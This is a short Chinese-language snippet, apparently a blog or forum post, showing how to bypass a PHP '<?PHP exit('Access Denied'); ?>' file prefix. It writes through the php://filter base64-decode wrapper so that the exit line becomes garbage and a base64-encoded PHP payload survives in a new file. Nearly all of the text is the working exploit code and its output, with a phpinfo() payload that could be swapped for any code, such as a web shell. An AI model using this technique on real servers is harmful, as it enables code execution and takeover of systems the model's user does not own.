绕过 <?PHP exit('Access Denied'); ?> 限制

绕过 <?PHP exit('Access Denied'); ?> 限制

 
<?php
$shellcode='PD9waHBpbmZvKCk7Pz4';//   base64_decode <?phpinfo();?>
$endstr='s';
 
$timestamp=$endstr.$shellcode;
file_put_contents("php://filter/write=convert.base64-decode/resource=ryat.php","<?PHP exit('Access Denied'); ?> $timestamp");
 
?>
 
利用base64产生乱码可以生成:
 
<s奁+@q乾? 鏩<?phpinfo();?>
 
就绕过了exit()限制,真厉害呀
